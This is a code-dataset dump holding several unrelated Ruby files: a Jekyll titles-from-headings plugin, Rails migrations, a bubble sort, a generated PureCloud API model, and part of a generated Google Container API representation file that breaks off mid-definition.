hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
ed5b775000550246d6717bc272d7af4159b868f7
| 3,167 |
module JekyllTitlesFromHeadings
class Generator < Jekyll::Generator
attr_accessor :site
TITLE_REGEX =
%r!
\A\s* # Beginning and whitespace
(?: # either
\#{1,3}\s+(.*) # atx-style header
| # or
(.*)\r?\n[-=]+\s* # Setex-style header
)$ # end of line
!x
CONVERTER_CLASS = Jekyll::Converters::Markdown
STRIP_MARKUP_FILTERS = %i[
markdownify strip_html normalize_whitespace
].freeze
# Regex to strip extra markup still present after markdownify
# (footnotes at the moment).
EXTRA_MARKUP_REGEX = %r!\[\^[^\]]*\]!
CONFIG_KEY = "titles_from_headings".freeze
ENABLED_KEY = "enabled".freeze
STRIP_TITLE_KEY = "strip_title".freeze
COLLECTIONS_KEY = "collections".freeze
safe true
priority :lowest
def initialize(site)
@site = site
end
def generate(site)
@site = site
return if disabled?
documents = site.pages
documents = site.pages + site.docs_to_write if collections?
documents.each do |document|
next unless should_add_title?(document)
document.data["title"] = title_for(document)
strip_title!(document) if strip_title?(document)
end
end
def should_add_title?(document)
markdown?(document) && !title?(document)
end
def title?(document)
!inferred_title?(document) && !document.data["title"].nil?
end
def markdown?(document)
markdown_converter.matches(document.extname)
end
def markdown_converter
@markdown_converter ||= site.find_converter_instance(CONVERTER_CLASS)
end
def title_for(document)
return document.data["title"] if title?(document)
matches = document.content.match(TITLE_REGEX)
return strip_markup(matches[1] || matches[2]) if matches
document.data["title"] # If we cant match a title, we use the inferred one.
rescue ArgumentError => e
raise e unless e.to_s.start_with?("invalid byte sequence in UTF-8")
end
private
def strip_markup(string)
STRIP_MARKUP_FILTERS.reduce(string) do |memo, method|
filters.public_send(method, memo)
end.gsub(EXTRA_MARKUP_REGEX, "")
end
def option(key)
site.config[CONFIG_KEY] && site.config[CONFIG_KEY][key]
end
def disabled?
option(ENABLED_KEY) == false
end
def strip_title?(document)
if document.data.key?(STRIP_TITLE_KEY)
document.data[STRIP_TITLE_KEY] == true
else
option(STRIP_TITLE_KEY) == true
end
end
def collections?
option(COLLECTIONS_KEY) == true
end
# Documents (posts and collection items) have their title inferred from the filename.
# We want to override these titles, because they were not excplicitly set.
def inferred_title?(document)
document.is_a?(Jekyll::Document)
end
def strip_title!(document)
document.content.gsub!(TITLE_REGEX, "")
end
def filters
@filters ||= JekyllTitlesFromHeadings::Filters.new(site)
end
end
end
| 27.068376 | 89 | 0.631197 |
ed7134f560458f4ee20f56fb76bbcb8f1a3937a6
| 282 |
# frozen_string_literal: true
class RenameAlignmentsToStandards < ActiveRecord::Migration
def change
rename_column :resource_alignments, :alignment_id, :standard_id
rename_table :resource_alignments, :resource_standards
rename_table :alignments, :standards
end
end
| 28.2 | 67 | 0.808511 |
d59193c32ae5fe52cbea517bdc33537f728e1a25
| 476 |
def bubble_sort_by(array)
depth = array.size - 1
loop do
swap_performed = false
depth.times do |item_index|
current_item_is_larger_than_following = yield(array[item_index], array[item_index + 1])
if current_item_is_larger_than_following.positive?
array[item_index], array[item_index + 1] = array[item_index + 1], array[item_index]
swap_performed = true
end
end
depth -= 1
break unless swap_performed
end
array
end
| 28 | 93 | 0.697479 |
d58042f40a4dfb67b947b2c3fcf1e916e6c14f1e
| 9,162 |
=begin
PureCloud Platform API
With the PureCloud Platform API, you can control all aspects of your PureCloud environment. With the APIs you can access the system configuration, manage conversations and more.
OpenAPI spec version: v2
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
License: UNLICENSED
https://help.mypurecloud.com/articles/terms-and-conditions/
Terms of Service: https://help.mypurecloud.com/articles/terms-and-conditions/
=end
require 'date'
module PureCloud
class FlowDivisionView
# The flow identifier
attr_accessor :id
# The flow name
attr_accessor :name
# The division to which this entity belongs.
attr_accessor :division
attr_accessor :type
# json schema describing the inputs for the flow
attr_accessor :input_schema
# json schema describing the outputs for the flow
attr_accessor :output_schema
# published version information if there is a published version
attr_accessor :published_version
# debug version information if there is a debug version
attr_accessor :debug_version
# The URI for this object
attr_accessor :self_uri
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'id' => :'id',
:'name' => :'name',
:'division' => :'division',
:'type' => :'type',
:'input_schema' => :'inputSchema',
:'output_schema' => :'outputSchema',
:'published_version' => :'publishedVersion',
:'debug_version' => :'debugVersion',
:'self_uri' => :'selfUri'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'id' => :'String',
:'name' => :'String',
:'division' => :'WritableDivision',
:'type' => :'String',
:'input_schema' => :'JsonSchemaDocument',
:'output_schema' => :'JsonSchemaDocument',
:'published_version' => :'FlowVersion',
:'debug_version' => :'FlowVersion',
:'self_uri' => :'String'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v}
if attributes.has_key?(:'id')
self.id = attributes[:'id']
end
if attributes.has_key?(:'name')
self.name = attributes[:'name']
end
if attributes.has_key?(:'division')
self.division = attributes[:'division']
end
if attributes.has_key?(:'type')
self.type = attributes[:'type']
end
if attributes.has_key?(:'inputSchema')
self.input_schema = attributes[:'inputSchema']
end
if attributes.has_key?(:'outputSchema')
self.output_schema = attributes[:'outputSchema']
end
if attributes.has_key?(:'publishedVersion')
self.published_version = attributes[:'publishedVersion']
end
if attributes.has_key?(:'debugVersion')
self.debug_version = attributes[:'debugVersion']
end
if attributes.has_key?(:'selfUri')
self.self_uri = attributes[:'selfUri']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properies with the reasons
def list_invalid_properties
invalid_properties = Array.new
return invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
if @name.nil?
return false
end
allowed_values = ["BOT", "COMMONMODULE", "INBOUNDCALL", "INBOUNDCHAT", "INBOUNDEMAIL", "INBOUNDSHORTMESSAGE", "INQUEUECALL", "OUTBOUNDCALL", "SECURECALL", "SPEECH", "SURVEYINVITE", "WORKFLOW"]
if @type && !allowed_values.include?(@type)
return false
end
end
# Custom attribute writer method checking allowed values (enum).
# @param [Object] type Object to be assigned
def type=(type)
allowed_values = ["BOT", "COMMONMODULE", "INBOUNDCALL", "INBOUNDCHAT", "INBOUNDEMAIL", "INBOUNDSHORTMESSAGE", "INQUEUECALL", "OUTBOUNDCALL", "SECURECALL", "SPEECH", "SURVEYINVITE", "WORKFLOW"]
if type && !allowed_values.include?(type)
fail ArgumentError, "invalid value for 'type', must be one of #{allowed_values}."
end
@type = type
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
id == o.id &&
name == o.name &&
division == o.division &&
type == o.type &&
input_schema == o.input_schema &&
output_schema == o.output_schema &&
published_version == o.published_version &&
debug_version == o.debug_version &&
self_uri == o.self_uri
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[id, name, division, type, input_schema, output_schema, published_version, debug_version, self_uri].hash
end
# build the object from hash
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
else
#TODO show warning in debug mode
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
else
# data not found in attributes(hash), not an issue as the data can be optional
end
end
self
end
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /^(true|t|yes|y|1)$/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
_model = Object.const_get("PureCloud").const_get(type).new
_model.build_from_hash(value)
end
end
def to_s
to_hash.to_s
end
# to_body is an alias to to_body (backward compatibility))
def to_body
to_hash
end
# return the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Method to output non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 21.356643 | 198 | 0.543331 |
bb44d56ee563c61804935915522655915cb2b2c3
| 412 |
# See http://doc.gitlab.com/ce/development/migration_style_guide.html
# for more information on how to write migrations for GitLab.
# rubocop:disable Migration/SaferBooleanColumn
class AddPlantUmlEnabledToApplicationSettings < ActiveRecord::Migration[4.2]
include Gitlab::Database::MigrationHelpers
DOWNTIME = false
def change
add_column :application_settings, :plantuml_enabled, :boolean
end
end
| 29.428571 | 76 | 0.805825 |
f84d80b1ca8228350df51fe12d505f28ce543937
| 78,518 |
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'date'
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module ContainerV1
class AcceleratorConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AddonsConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AuthenticatorGroupsConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AutoUpgradeOptions
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Autopilot
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AutoprovisioningNodePoolDefaults
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BigQueryDestination
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BinaryAuthorization
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CancelOperationRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CidrBlock
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ClientCertificateConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CloudRunConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Cluster
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ClusterAutoscaling
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ClusterUpdate
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CompleteIpRotationRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ConfidentialNodes
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ConfigConnectorConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ConsumptionMeteringConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CreateClusterRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CreateNodePoolRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DailyMaintenanceWindow
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DatabaseEncryption
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DefaultSnatStatus
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DnsCacheConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Empty
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class GcePersistentDiskCsiDriverConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class GetJsonWebKeysResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class GetOpenIdConfigResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class HorizontalPodAutoscaling
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class HttpCacheControlResponseHeader
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class HttpLoadBalancing
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class IlbSubsettingConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class IpAllocationPolicy
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class IntraNodeVisibilityConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Jwk
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class KubernetesDashboard
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LegacyAbac
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LinuxNodeConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListClustersResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListNodePoolsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListOperationsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListUsableSubnetworksResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LoggingComponentConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LoggingConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MaintenancePolicy
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MaintenanceWindow
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MasterAuth
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MasterAuthorizedNetworksConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MaxPodsConstraint
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Metric
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MonitoringComponentConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class MonitoringConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NetworkConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NetworkPolicy
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NetworkPolicyConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NodeConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NodeKubeletConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NodeManagement
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NodeNetworkConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NodePool
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NodePoolAutoscaling
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NodeTaint
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NotificationConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Operation
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OperationProgress
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PrivateClusterConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PrivateClusterMasterGlobalAccessConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class PubSub
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class RecurringTimeWindow
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ReleaseChannel
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ReleaseChannelConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ReservationAffinity
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ResourceLimit
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ResourceUsageExportConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class RollbackNodePoolUpgradeRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SandboxConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ServerConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetAddonsConfigRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetLabelsRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetLegacyAbacRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetLocationsRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetLoggingServiceRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetMaintenancePolicyRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetMasterAuthRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetMonitoringServiceRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetNetworkPolicyRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetNodePoolAutoscalingRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetNodePoolManagementRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SetNodePoolSizeRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShieldedInstanceConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ShieldedNodes
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class StartIpRotationRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Status
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class StatusCondition
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TimeWindow
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UpdateClusterRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UpdateMasterRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UpdateNodePoolRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UpgradeAvailableEvent
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UpgradeEvent
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UpgradeSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UsableSubnetwork
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UsableSubnetworkSecondaryRange
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class VerticalPodAutoscaling
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class VirtualNic
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class WorkloadIdentityConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class WorkloadMetadataConfig
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AcceleratorConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :accelerator_count, :numeric_string => true, as: 'acceleratorCount'
property :accelerator_type, as: 'acceleratorType'
property :gpu_partition_size, as: 'gpuPartitionSize'
end
end
class AddonsConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cloud_run_config, as: 'cloudRunConfig', class: Google::Apis::ContainerV1::CloudRunConfig, decorator: Google::Apis::ContainerV1::CloudRunConfig::Representation
property :config_connector_config, as: 'configConnectorConfig', class: Google::Apis::ContainerV1::ConfigConnectorConfig, decorator: Google::Apis::ContainerV1::ConfigConnectorConfig::Representation
property :dns_cache_config, as: 'dnsCacheConfig', class: Google::Apis::ContainerV1::DnsCacheConfig, decorator: Google::Apis::ContainerV1::DnsCacheConfig::Representation
property :gce_persistent_disk_csi_driver_config, as: 'gcePersistentDiskCsiDriverConfig', class: Google::Apis::ContainerV1::GcePersistentDiskCsiDriverConfig, decorator: Google::Apis::ContainerV1::GcePersistentDiskCsiDriverConfig::Representation
property :horizontal_pod_autoscaling, as: 'horizontalPodAutoscaling', class: Google::Apis::ContainerV1::HorizontalPodAutoscaling, decorator: Google::Apis::ContainerV1::HorizontalPodAutoscaling::Representation
property :http_load_balancing, as: 'httpLoadBalancing', class: Google::Apis::ContainerV1::HttpLoadBalancing, decorator: Google::Apis::ContainerV1::HttpLoadBalancing::Representation
property :kubernetes_dashboard, as: 'kubernetesDashboard', class: Google::Apis::ContainerV1::KubernetesDashboard, decorator: Google::Apis::ContainerV1::KubernetesDashboard::Representation
property :network_policy_config, as: 'networkPolicyConfig', class: Google::Apis::ContainerV1::NetworkPolicyConfig, decorator: Google::Apis::ContainerV1::NetworkPolicyConfig::Representation
end
end
class AuthenticatorGroupsConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
property :security_group, as: 'securityGroup'
end
end
class AutoUpgradeOptions
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :auto_upgrade_start_time, as: 'autoUpgradeStartTime'
property :description, as: 'description'
end
end
class Autopilot
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class AutoprovisioningNodePoolDefaults
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :boot_disk_kms_key, as: 'bootDiskKmsKey'
property :disk_size_gb, as: 'diskSizeGb'
property :disk_type, as: 'diskType'
property :image_type, as: 'imageType'
property :management, as: 'management', class: Google::Apis::ContainerV1::NodeManagement, decorator: Google::Apis::ContainerV1::NodeManagement::Representation
property :min_cpu_platform, as: 'minCpuPlatform'
collection :oauth_scopes, as: 'oauthScopes'
property :service_account, as: 'serviceAccount'
property :shielded_instance_config, as: 'shieldedInstanceConfig', class: Google::Apis::ContainerV1::ShieldedInstanceConfig, decorator: Google::Apis::ContainerV1::ShieldedInstanceConfig::Representation
property :upgrade_settings, as: 'upgradeSettings', class: Google::Apis::ContainerV1::UpgradeSettings, decorator: Google::Apis::ContainerV1::UpgradeSettings::Representation
end
end
class BigQueryDestination
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :dataset_id, as: 'datasetId'
end
end
class BinaryAuthorization
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class CancelOperationRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :name, as: 'name'
property :operation_id, as: 'operationId'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class CidrBlock
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cidr_block, as: 'cidrBlock'
property :display_name, as: 'displayName'
end
end
class ClientCertificateConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :issue_client_certificate, as: 'issueClientCertificate'
end
end
class CloudRunConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :disabled, as: 'disabled'
property :load_balancer_type, as: 'loadBalancerType'
end
end
class Cluster
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :addons_config, as: 'addonsConfig', class: Google::Apis::ContainerV1::AddonsConfig, decorator: Google::Apis::ContainerV1::AddonsConfig::Representation
property :authenticator_groups_config, as: 'authenticatorGroupsConfig', class: Google::Apis::ContainerV1::AuthenticatorGroupsConfig, decorator: Google::Apis::ContainerV1::AuthenticatorGroupsConfig::Representation
property :autopilot, as: 'autopilot', class: Google::Apis::ContainerV1::Autopilot, decorator: Google::Apis::ContainerV1::Autopilot::Representation
property :autoscaling, as: 'autoscaling', class: Google::Apis::ContainerV1::ClusterAutoscaling, decorator: Google::Apis::ContainerV1::ClusterAutoscaling::Representation
property :binary_authorization, as: 'binaryAuthorization', class: Google::Apis::ContainerV1::BinaryAuthorization, decorator: Google::Apis::ContainerV1::BinaryAuthorization::Representation
property :cluster_ipv4_cidr, as: 'clusterIpv4Cidr'
collection :conditions, as: 'conditions', class: Google::Apis::ContainerV1::StatusCondition, decorator: Google::Apis::ContainerV1::StatusCondition::Representation
property :confidential_nodes, as: 'confidentialNodes', class: Google::Apis::ContainerV1::ConfidentialNodes, decorator: Google::Apis::ContainerV1::ConfidentialNodes::Representation
property :create_time, as: 'createTime'
property :current_master_version, as: 'currentMasterVersion'
property :current_node_count, as: 'currentNodeCount'
property :current_node_version, as: 'currentNodeVersion'
property :database_encryption, as: 'databaseEncryption', class: Google::Apis::ContainerV1::DatabaseEncryption, decorator: Google::Apis::ContainerV1::DatabaseEncryption::Representation
property :default_max_pods_constraint, as: 'defaultMaxPodsConstraint', class: Google::Apis::ContainerV1::MaxPodsConstraint, decorator: Google::Apis::ContainerV1::MaxPodsConstraint::Representation
property :description, as: 'description'
property :enable_kubernetes_alpha, as: 'enableKubernetesAlpha'
property :enable_tpu, as: 'enableTpu'
property :endpoint, as: 'endpoint'
property :expire_time, as: 'expireTime'
property :id, as: 'id'
property :initial_cluster_version, as: 'initialClusterVersion'
property :initial_node_count, as: 'initialNodeCount'
collection :instance_group_urls, as: 'instanceGroupUrls'
property :ip_allocation_policy, as: 'ipAllocationPolicy', class: Google::Apis::ContainerV1::IpAllocationPolicy, decorator: Google::Apis::ContainerV1::IpAllocationPolicy::Representation
property :label_fingerprint, as: 'labelFingerprint'
property :legacy_abac, as: 'legacyAbac', class: Google::Apis::ContainerV1::LegacyAbac, decorator: Google::Apis::ContainerV1::LegacyAbac::Representation
property :location, as: 'location'
collection :locations, as: 'locations'
